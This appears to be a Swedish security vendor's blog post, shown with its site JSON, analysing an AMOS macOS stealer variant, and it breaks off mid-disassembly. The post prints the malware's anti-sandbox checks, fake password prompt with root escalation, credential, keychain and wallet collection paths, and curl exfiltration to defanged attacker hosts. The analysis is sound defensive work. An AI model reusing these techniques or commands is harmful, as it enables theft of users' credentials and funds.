[{"data":1,"prerenderedAt":3346},["ShallowReactive",2],{"sc:header-data-sv":3,"sc:footer-data-sv":489,"post-sv--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":519,"authors_data":2773,"content-sv-list-7b291c2dd91a4":3126,"authors_data:Pascal Asch":3343},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"sv":13},{"title":14,"url":15,"alt":16},"Hem","/sv","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"sv":21},{"title":22,"description":23},"Workplace","Microsoft 365-driven för smarta, säkra och flexibla arbetsmiljöer som förenar den senaste tekniken och identitetslösningar.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"sv":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"sv":34},{"title":35,"url":36},"Managed Intune","/sv/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"sv":40},{"title":41,"url":42},"Managed Entra","/sv/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"sv":46},{"title":47,"url":48},"Managed Workplace","/sv/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"sv":52},{"title":53,"url":54},"Consulting Services","/sv/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"sv":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"sv":64},{"title":65,"url":66},"Microsoft Entra Suite","/sv/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"sv":70},{"title":71,"url":72},"Microsoft Intune","/sv/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"sv":76},{"title":77,"url":78},"Microsoft Windows","/sv/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"sv":82},{"title":83,"url":84},"Windows 365 Cloud PC","/sv/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"sv":88},{"title":89,"url":90},"Cloud Workplace Foundation","/sv/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"sv":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"sv":100},{"title":101,"url":102},"Microsoft 365 Copilot","/sv/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"sv":106},{"title":107,"url":108},"Teams","/sv/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"sv":112},{"title":113,"url":114},"SharePoint & Power Platform","/sv/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"sv":118},{"title":119,"url":120},"Exchange Online","/sv/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"sv":124},{"title":125,"url":126},"Information Protection & Compliance","/sv/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"sv":130},{"title":131,"description":132},"Azure","Driv tillväxt med Azure: Sänk molnkostnaderna, öka effektiviteten och driv innovation genom IaaS och PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"sv":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"sv":142},{"title":143,"url":144},"Azure Managed Services","/sv/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"sv":148},{"title":149,"url":150},"Azure Consulting","/sv/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"sv":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"sv":160},{"title":161,"url":162},"Planera ditt moln","/sv/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"sv":166},{"title":167,"url":168},"Migrera till molnet","/sv/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"sv":172},{"title":173,"url":174},"Förnya din verksamhet","/sv/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"sv":178},{"title":179,"url":180},"Ompröva din VMware-strategi","/sv/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"sv":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"sv":190},{"title":191,"url":192},"Azure Foundation","/sv/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"sv":196},{"title":197,"url":198},"Azure AI Foundation","/sv/azure/azure-ai-foundation",{"name":86,"languages":200},{"sv":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"sv":205},{"title":206,"url":207},"Azure Data Foundation","/sv/azure/azure-data-foundation",{"name":188,"languages":209},{"sv":210},{"title":211,"url":212},"Azure Container Foundation","/sv/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"sv":216},{"title":217,"url":218},"Managed Dark Tenant","/sv/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"sv":222},{"title":223,"url":224},"Cloud Adoption Framework","/sv/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"sv":228},{"title":229,"url":230},"Cloud Competence Center","/sv/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"sv":234},{"title":235,"description":236,"emergency":237},"Säkerhet","Vaksamhet i molnet med en prisbelönt managed service dygnet runt, incident response och toppmodernt skydd för din infrastruktur.",{"text":238,"href":239,"skin":240,"icon":241},"Attackerad?","/sv/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"sv":249},{"title":250,"url":251},"Managed Red Tenant","/sv/security/managed-red-tenant",{"name":214,"languages":253},{"sv":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"sv":259},{"title":260,"url":261},"Sentinel Data Lake","/sv/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"sv":265},{"title":266,"url":267},"Security Consulting","/sv/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"sv":274},{"title":275,"url":276},"Cloud Security Operations Center","/sv/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"sv":280},{"title":281,"url":282},"Global Secure Access","/sv/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"sv":286},{"title":287,"url":288},"MyWorkID","/sv/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"sv":295},{"title":296,"url":297},"Preventive Services","/sv/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"sv":301},{"title":302,"url":303},"Data Security Service","/sv/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"sv":307},{"title":308,"url":309},"Security Copilot Agents","/sv/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"sv":313},{"title":314,"url":315},"Implementera NIS2","/sv/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"sv":319},{"title":320,"description":321},"Produkter","Innovativa kompletterande produkter för en helt säker, 100% cloud-native Microsoft-miljö som förbättrar samarbete, nätverksautentisering och programvaruhantering.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"sv":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Molnbaserad programvarudistribution",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"sv":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certifikatdistribution från molnet",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"sv":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Arbeta lokalt med dina Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"sv":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrera dina data från en server till en annan",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"sv":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider för Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"sv":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentisering för ditt nätverk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"sv":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Hitta kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"sv":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-övervakning i realtid",{"name":396,"languages":397},"casestudies",{"sv":398},{"title":399,"url":400,"description":401},"Kundcase","/sv/casestudies","Pionjär i molnet: Din främsta Microsoft-partner för heltäckande molnlösningar med ett Blueprint-baserat tillvägagångssätt och expertis inom Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"sv":405},{"title":406,"description":401},"Företag",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"sv":411},{"title":412},"Om oss",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"sv":417},{"title":418,"url":419},"Fakta och siffror","/sv/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"sv":423},{"title":424,"url":425},"Kontakt och platser","/sv/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"sv":429},{"title":430,"url":431},"glueckkanja Schweiz","/sv/company/switzerland",{"name":433,"languages":434},"austria",{"sv":435},{"title":436,"url":437},"glueckkanja Österrike","/sv/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"sv":441},{"title":442},"Karriär",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"sv":447},{"title":448,"url":449},"Karriäröversikt","/sv/career",{"name":451,"languages":452},"company-young-professionals",{"sv":453},{"title":454,"url":455},"Young Professionals","/sv/young-professionals",{"name":457,"languages":458},"company-jobs",{"sv":459},{"title":460,"url":461},"Lediga jobb","/sv/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"sv":465},{"title":466},"Aktuellt",[468,474],{"name":469,"languages":470},"company-blog",{"sv":471},{"title":472,"url":473},"Blogg","/sv/blog",{"name":469,"languages":475},{"sv":476},{"title":477,"url":478},"Event","/sv/events",[480],{"name":481,"languages":482},"career-meta",{"sv":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"sv":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksSv":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Integritetspolicy","/sv/privacy",{"title":514,"url":515},"Juridisk information","/sv/imprint",{"title":517,"url":518},"Inga cookies","/sv/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":530,"eventid":494,"extension":2675,"hideInRecent":484,"layout":2676,"meta":2677,"moment":2681,"navigation":325,"path":2763,"seo":2764,"stem":2765,"tags":2766,"webcast":484,"__hash__":2772},"content_sv/posts/2026-04-10-incident-to-intelligence.md","Anatomin hos en okänd AMOS Stealer: Från larm till immunitet på timmar",[523],"Pascal Asch",{"type":525,"value":526,"toc":2639},"minimal",[527,531,534,537,540,545,548,551,559,561,566,569,572,586,589,592,600,603,607,609,612,635,638,646,649,657,664,668,670,673,681,696,700,702,705,710,713,721,725,727,735,739,741,744,748,750,753,761,765,767,775,778,876,879,909,911,915,917,923,926,930,932,1016,1020,1022,1033,1040,1114,1125,1132,1136,1138,1203,1207,1209,1216,1218,1222,1224,1231,1257,1444,1447,1455,1466,1469,1477,1491,1504,1506,1510,1512,1530,1552,1742,1745,1753,1756,1759,1761,1765,1767,1770,1849,1852,1871,1950,1953,1955,1959,1961,1964,1971,2026,2029,2037,2040,2042,2046,2048,2055,2067,2115,2126,2165,2174,2189,2192,2194,2198,2200,2207,2210,2218,2221,2229,2243,2246,2248,2252,2254,2264,2268,2270,2288,2296,2310,2330,2334,2336,2339,2347,2350,2358,2372,2376,2378,2381,2389,2408,2414,2418,2420,2428,2434,2441,2445,2447,2455,2459,2461,2464,2472,2475,2479,2481,2489,2493,2495,2503,2507,2509,2517,2521,2523,2531,2548,2553,2555,2559,2561,2568,2585,2588,2601,2603,2607,2609,2612,2615,2618,2635],[528,529,530],"p",{},"När ett larm utlöses i vårt SOC börjar klockan ticka: inte bara för den drabbade kunden, utan för alla organisationer under vårt skydd. Det farligaste ögonblicket i dagens hotlandskap är the Intelligence Gap, tidsfönstret mellan den första användningen av en ny malware-variant och den dag branschen får kännedom om den.",[528,532,533],{},"För fristående säkerhetsteam innebär den luckan extrem sårbarhet: man väntar på en vendor-uppdatering eller en signaturfeed som ännu inte har skrivits. För våra kunder stänger vår internt utvecklade Shared Threat Intelligence exakt det fönstret.",[528,535,536],{},"Det här inlägget är en teknisk genomgång av hur vi tog isär en hittills odokumenterad AMOS-variant (Atomic macOS Stealer) och hur en enda komprometterad endpoint inom några timmar förvandlades till en heltäckande upptäckt och blockering för alla våra kundmiljöer.",[538,539],"hr",{},[541,542,544],"h1",{"id":543},"incidenten-ett-okänt-ioc-scenario","Incidenten: Ett okänt IOC-scenario",[528,546,547],{},"{: .h3-font-size}",[528,549,550],{},"Larmet kom in den 12 mars 2026 kl. 06:25 lokal tid: en macOS-endpoint hade komprometterats. När vårt SOC började analysera artefakterna stod vi inför en situation som varje threat analyst fruktar: inga kända filhashvärden, inga C2-IP-adresser, inga meningsfulla beteendesignaturer i offentliga databaser.",[528,552,553,554,558],{},"Den fullständiga angreppsarkitekturen avslöjades först vid djupanalysen. Infektionen byggde på en 15,7 MB stor macOS Universal Binary (x86_64 och ARM64), placerad under ",[555,556,557],"code",{},"/private/tmp/helper",". Samplet fanns inte direkt tillgängligt på det komprometterade systemet; vårt team fick rekonstruera infektionskedjan och simulera den ursprungliga leveransförfrågan för att manuellt hämta binären från angriparens infrastruktur.",[538,560],{},[562,563,565],"h2",{"id":564},"stage-1-sandbox-kontroller","Stage 1: Sandbox-kontroller",[528,567,568],{},"{: .h4-font-size}",[528,570,571],{},"Innan själva stealern kördes på enheten hade redan en AppleScript-payload körts. Varje sträng i den, varje sökväg, varje shell-kommando, varje URL var kodad via tre egendefinierade aritmetiska funktioner:",[573,574,576],"div",{"style":575},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[577,578,583],"pre",{"className":579,"code":581,"language":582},[580],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[555,584,581],{"__ignoreMap":585},"",[528,587,588],{},"Inte en enda sträng förekommer i klartext. Det som vid första anblicken såg ut som meningslösa heltalsvektorer visade sig efter att kodningsschemat vänts vara ett fullständigt, driftklart ramverk för datastöld och exfiltrering.",[528,590,591],{},"Vi avkodade varje vektor i skriptet statiskt. Resultaten var entydiga:",[573,593,594],{"style":575},[577,595,598],{"className":596,"code":597,"language":582},[580],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[555,599,597],{"__ignoreMap":585},[528,601,602],{},"Nedladdnings-URL:en efterliknar medvetet en legitim uppdatering för n8n workflow-automation, ett verktyg som är utbrett bland utvecklare och DevOps-ingenjörer. Det är ingen slump: kampanjen riktar sig mot tekniskt kunniga användare, inte mot vanliga slutanvändare som installerar crackad mjukvara.",[562,604,606],{"id":605},"anti-sandbox-kontrollen","Anti-sandbox-kontrollen",[528,608,568],{},[528,610,611],{},"Före nedladdningen körde skriptet en dedikerad rutin för VM- och sandbox-detektering. Ur incidentartefakterna kunde vi dessutom återställa ett fristående anti-sandbox-skript:",[573,613,614],{"style":575},[577,615,619],{"className":616,"code":617,"language":618,"meta":585,"style":585},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[555,620,621,629],{"__ignoreMap":585},[622,623,626],"span",{"class":624,"line":625},"line",1,[622,627,628],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[622,630,632],{"class":624,"line":631},2,[622,633,634],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[528,636,637],{},"Resultaten kontrollerade skriptet sedan mot två listor. Den första sökte efter virtualiseringsmarkörer i minnesdatan:",[573,639,640],{"style":575},[577,641,644],{"className":642,"code":643,"language":582},[580],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[555,645,643],{"__ignoreMap":585},[528,647,648],{},"Den andra kontrollerade hårdvaruidentifierare mot en lista över kända serienummer på analysmaskiner:",[573,650,651],{"style":575},[577,652,655],{"className":653,"code":654,"language":582},[580],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[555,656,654],{"__ignoreMap":585},[528,658,659,660,663],{},"Vid en träff: ",[555,661,662],{},"exit 100",", fullständigt avbrott. På en riktig MacBook Pro med Apple Silicon klarade alla kontroller ljudlöst, och exekveringen fortsatte. En sandbox-evasionsteknik på professionell nivå, som kördes innan en enda byte av binären hade laddats ner.",[562,665,667],{"id":666},"enkelt-men-verkningsfullt-den-falska-lösenordsfrågan","Enkelt men verkningsfullt: Den falska lösenordsfrågan",[528,669,568],{},[528,671,672],{},"Det avkodade skriptet innehöll även dialogen för privilegie-eskalering via social engineering:",[573,674,675],{"style":575},[577,676,679],{"className":677,"code":678,"language":582},[580],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[555,680,678],{"__ignoreMap":585},[528,682,683,684,687,688,691,692,695],{},"Dialogen visas via ett vanligt macOS-",[555,685,686],{},"display dialog","-anrop med ",[555,689,690],{},"with hidden answer"," och går optiskt inte att skilja från en äkta macOS-auktoriseringsfråga. Det inmatade lösenordet använde skriptet för att anropa ",[555,693,694],{},"login -pf \u003Cusername>"," och lyfta processen till root-behörighet, redan innan binären kördes.",[562,697,699],{"id":698},"vad-skriptet-samlade-in","Vad skriptet samlade in",[528,701,568],{},[528,703,704],{},"Så snart binären hade körts fortsatte osascript sitt eget insamlingsflöde och skrapade av varje kategori av känsliga systemdata. Vi avkodade alla insamlingssökvägar och mål:",[706,707,709],"h3",{"id":708},"webbläsardata-alla-chromium-webbläsare-safari","Webbläsardata (alla Chromium-webbläsare + Safari):",[528,711,712],{},"{: .font-size-4}",[573,714,715],{"style":575},[577,716,719],{"className":717,"code":718,"language":582},[580],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[555,720,718],{"__ignoreMap":585},[706,722,724],{"id":723},"macos-keychain","macOS Keychain:",[528,726,712],{},[573,728,729],{"style":575},[577,730,733],{"className":731,"code":732,"language":582},[580],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[555,734,732],{"__ignoreMap":585},[706,736,738],{"id":737},"apple-notes","Apple Notes",[528,740,712],{},[528,742,743],{},"Fullständigt innehåll exporterat som HTML med räknar-header",[706,745,747],{"id":746},"lokala-filer","Lokala filer",[528,749,712],{},[528,751,752],{},"Skrivbord och Dokument, upp till 30 MB, med fokus på:",[573,754,755],{"style":575},[577,756,759],{"className":757,"code":758,"language":582},[580],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[555,760,758],{"__ignoreMap":585},[706,762,764],{"id":763},"kryptovaluta-plånböcker","Kryptovaluta-plånböcker",[528,766,712],{},[528,768,769,770,774],{},"En hårdkodad lista med ",[771,772,773],"strong",{},"fler än 200 browser-extension-ID:n",", som täcker alla vanliga plånböcker, däribland MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI och Exodus.",[528,776,777],{},"Efter insamlingen buntades alla data ihop i en slumpmässigt namngiven temporär katalog och exfiltrerades:",[573,779,780],{"style":575},[577,781,785],{"className":782,"code":783,"language":784,"meta":585,"style":585},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[555,786,787,821,847,864],{"__ignoreMap":585},[622,788,789,793,797,800,803,807,811,815,818],{"class":624,"line":625},[622,790,792],{"class":791},"sScJk","ditto",[622,794,796],{"class":795},"sj4cs"," -c",[622,798,799],{"class":795}," -k",[622,801,802],{"class":795}," --sequesterRsrc",[622,804,806],{"class":805},"szBVR"," \u003C",[622,808,810],{"class":809},"sZZnC","staging_di",[622,812,814],{"class":813},"sVt8B","r",[622,816,817],{"class":805},">",[622,819,820],{"class":809}," /tmp/out.zip\n",[622,822,823,826,829,832,835,838,841,844],{"class":624,"line":631},[622,824,825],{"class":791},"curl",[622,827,828],{"class":795}," --connect-timeout",[622,830,831],{"class":795}," 120",[622,833,834],{"class":795}," --max-time",[622,836,837],{"class":795}," 300",[622,839,840],{"class":795}," -X",[622,842,843],{"class":809}," POST",[622,845,846],{"class":795}," \\\n",[622,848,850,853,856,859,862],{"class":624,"line":849},3,[622,851,852],{"class":795},"  -H",[622,854,855],{"class":809}," \"user: \u003Cuuid>\"",[622,857,858],{"class":795}," -H",[622,860,861],{"class":809}," \"BuildID: \u003Chw_profile>\"",[622,863,846],{"class":795},[622,865,867,870,873],{"class":624,"line":866},4,[622,868,869],{"class":795},"  -F",[622,871,872],{"class":809}," \"file=@/tmp/out.zip\"",[622,874,875],{"class":809}," laislivon[.]com/contact\n",[528,877,878],{},"Rensningen följde omedelbart:",[573,880,881],{"style":575},[577,882,884],{"className":782,"code":883,"language":784,"meta":585,"style":585},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[555,885,886,903],{"__ignoreMap":585},[622,887,888,891,894,896,898,900],{"class":624,"line":625},[622,889,890],{"class":791},"rm",[622,892,893],{"class":795}," -r",[622,895,806],{"class":805},[622,897,810],{"class":809},[622,899,814],{"class":813},[622,901,902],{"class":805},">\n",[622,904,905,907],{"class":624,"line":631},[622,906,890],{"class":791},[622,908,820],{"class":809},[538,910],{},[541,912,914],{"id":913},"stage-2-reverse-engineering-av-helper-binären","Stage 2: Reverse engineering av 'helper'-binären",[528,916,547],{},[528,918,919,922],{},[555,920,921],{},"helper","-binären är den del där analysen verkligen går på djupet. Det rör sig om en professionellt obfuskerad macOS-exekverbar fil som systematiskt försvårar statisk analys och som stod för det största reverse engineering-arbetet i hela undersökningen.",[528,924,925],{},"Hela analysen genomfördes med Ghidra och vårt egendefinierade ARM64-analysflöde.",[562,927,929],{"id":928},"filegenskaper","Filegenskaper",[528,931,568],{},[573,933,935],{"style":934},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[936,937,939,940,939,956],"table",{"style":938},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[941,942,943,944,939],"thead",{},"\n    ",[945,946,947,948,947,953,943],"tr",{},"\n      ",[949,950,952],"th",{"style":951},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Egenskap",[949,954,955],{"style":951},"Värde",[957,958,943,959,943,969,943,978,943,986,943,996,943,1006,939],"tbody",{},[945,960,947,961,947,966,943],{},[962,963,965],"td",{"style":964},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[962,967,968],{"style":964},"Mach-O Universal Binary",[945,970,947,971,947,975,943],{},[962,972,974],{"style":973},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[962,976,977],{"style":973},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[945,979,947,980,947,983,943],{},[962,981,982],{"style":964},"Size",[962,984,985],{"style":964},"15.7 MB",[945,987,947,988,947,991,943],{},[962,989,990],{"style":973},"MD5",[962,992,993],{"style":973},[555,994,995],{},"4599fdf2fa2099b30d8bbf76703dd634",[945,997,947,998,947,1001,943],{},[962,999,1000],{"style":964},"SHA-1",[962,1002,1003],{"style":964},[555,1004,1005],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[945,1007,947,1008,947,1011,943],{},[962,1009,1010],{"style":973},"SHA-256",[962,1012,1013],{"style":973},[555,1014,1015],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[562,1017,1019],{"id":1018},"det-börjar-före-main","Det börjar före main()",[528,1021,568],{},[528,1023,1024,1025,1028,1029,1032],{},"Det första vi noterade i Ghidra: den här binären beter sig inte som en normal exekverbar fil. Den egentliga ingångspunkten är inte ",[555,1026,1027],{},"main()",", utan en funktion som är registrerad i ",[555,1030,1031],{},"__mod_init_func",", en macOS-mekanism som instruerar den dynamiska länkaren (dyld) att automatiskt köra vissa funktioner när binären laddas, redan innan användbar kod körs.",[528,1034,1035,1036,1039],{},"Init-funktionen vid ",[555,1037,1038],{},"0x10009f384"," är malwarens egentliga ingångspunkt. Här är Ghidra-dekompileringen:",[573,1041,1042],{"style":575},[1043,1044,1045,1049,1052,1055,1059,1060,1064,1065,1067,1068,1071,1072,1086],"code-block",{},[622,1046,1048],{"style":1047},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1050,1051],"br",{},[622,1053,1054],{"style":1047},"// __mod_init_func registered — executes before main()",[622,1056,1058],{"style":1057},"color:#d73a49","void"," ",[622,1061,1063],{"style":1062},"color:#6f42c1","FUN_10009f384","(",[622,1066,1058],{"style":1057},")\n{\n  ",[622,1069,1070],{"style":1057},"int"," iVar1;\n",[528,1073,1074,1077,1078,1064,1081,1085],{},[622,1075,1076],{"style":1047},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[622,1079,1080],{"style":1062},"_usleep",[622,1082,1084],{"style":1083},"color:#005cc5","0x37e",");",[528,1087,1088,1091,1094,1095,1097,1098,1101,1102,1105,1106,1109,1110,1113],{},[622,1089,1090],{"style":1047},"// Indirect jump table — 14-state machine",[622,1092,1093],{"style":1047},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[622,1096,555],{"style":1057}," _)((",[622,1099,1100],{"style":1057},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[622,1103,1104],{"style":1083},"4"," + ",[622,1107,1108],{"style":1083},"0x10009f440","))(iVar1);\n",[622,1111,1112],{"style":1057},"return",";\n}",[528,1115,1116,1117,1120,1121,1124],{},"Två saker sticker omedelbart ut. Först 894-mikrosekunders-",[555,1118,1119],{},"usleep"," vid start: en anti-sandbox-timingsignal. Allvarligare är den indirekta hopptabellen vid ",[555,1122,1123],{},"0x10009f43c",". Det är en beräknad branch där måladressen bestäms vid körning ur en lookup-tabell. Statiska analysverktyg kan inte rekonstruera control flow-grafen; Ghidra loggade flera \"unreachable block\"-varningar när det försökte följa exekveringsvägen. Det är avsiktligt.",[528,1126,1127,1128,1131],{},"Hopptabellen driver en ",[771,1129,1130],{},"14-tillstånds-exekveringsmaskin",". Varje tillstånd utför ett enda diskret steg i dekrypterings- och exekveringspipelinen. Tillståndsräknaren uppdateras efter varje steg, och maskinen kör tills alla tillstånd har passerats.",[562,1133,1135],{"id":1134},"arm64-disassemblyn-av-state-dispatchern","ARM64-disassemblyn av state dispatchern",[528,1137,568],{},[573,1139,1140],{"style":575},[577,1141,1145],{"className":1142,"code":1143,"language":1144,"meta":585,"style":585},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken 